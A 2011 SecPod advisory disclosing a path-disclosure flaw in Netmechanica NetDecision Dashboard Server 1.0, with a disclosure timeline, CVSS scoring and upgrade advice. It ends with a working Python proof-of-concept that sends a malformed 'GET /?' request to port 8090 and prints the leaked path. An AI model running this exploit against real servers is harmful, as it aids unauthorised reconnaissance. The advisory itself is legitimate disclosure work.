Netmechanica NetDecision Dashboard Server Information Disclosure Vulnerability

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# Title    : Netmechanica NetDecision Dashboard Server Information Disclosure
#            Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=478
#            http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_Vuln.txt
#      http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py
# Software : Netmechanica NetDecision Dashboard Server version 1.0
# Date     : 05/12/2011
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SecPod ID: 1038         05/12/2011 Issue Discovered
      21/02/2012 Vendor Notified
      22/02/2012 Vendor Acknowledge
      24/02/2012 Issue Resolved
Class: Information Disclosure   Severity: Medium
Overview:
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Netmechanica NetDecision 4.5.1 Dashboard Server version 1.0 is prone to
information disclosure vulnerability.
Technical Description:
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The vulnerability is caused due to improper validation of malicious HTTP
request to Dashboard server appended with '?' character, which discloses the
Dashboard server's web script physical path.
Impact:
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Successful exploitation could allow an attacker to cause disclosure of
sensitive information.
Affected Software:
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Netmechanica NetDecision 4.5.1 (full package) containing Dashboard Server
version 1.0
Tested on:
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Netmechanica NetDecision 4.5.1 (full package) containing Dashboard Server
version 1.0 on Windows XP SP3 & Win XP2. Older versions might be affected.
References:
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http://secpod.org/blog/?p=478
http://www.netmechanica.com/downloads
http://www.netmechanica.com/news/?news_id=26
http://www.netmechanica.com/netdecision_dashboard
Proof of Concept:
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http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py
Vendor URL:
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http://www.netmechanica.com
http://www.netmechanica.com/news/?news_id=26
Solution:
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Upgrade to NetDecision 4.6.1
Risk Factor:
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CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
        Risk factor            = Medium
Credits:
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Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
#!/usr/bin/python
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# Title    : Netmechanica NetDecision Dashboard Server Information Disclosure
#            Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=478
#            http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_Vuln.txt
#      http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py
# Software : Netmechanica NetDecision Dashboard Server version 1.0
# Date     : 05/12/2011
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import socket,sys,time
if len(sys.argv) < 2:
        print "\t[-] Usage: python SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py target_ip"
        print "\t[-] Example : python SecPod_Netmechanica_NetDecision_Dashboard_Server_Info_Disc_PoC.py 127.0.0.1"
        print "\t[-] Exiting..."
        sys.exit(0)
port   = 8090
target = sys.argv[1]
try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)
try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((target,port))
    time.sleep(1)
except:
    print "socket() failed"
    sys.exit(1)
exploit = "GET " + "/?" + "HTTP/1.0 "+ "\r\n\r\n"
print "HTTP GET request with '?' filename triggers the vulnerability"
data = exploit
sock.sendto(data, (target, port))
res = sock.recv(1024)
sock.close()
if res.find('file: ') != -1 :
    print "[+] Full Path of the web script directory of DashBoard Server is ....\r\n"
    print res.split('file: ')[1]
else:
    print "[+] Did not get the source path ..."
sys.exit(1)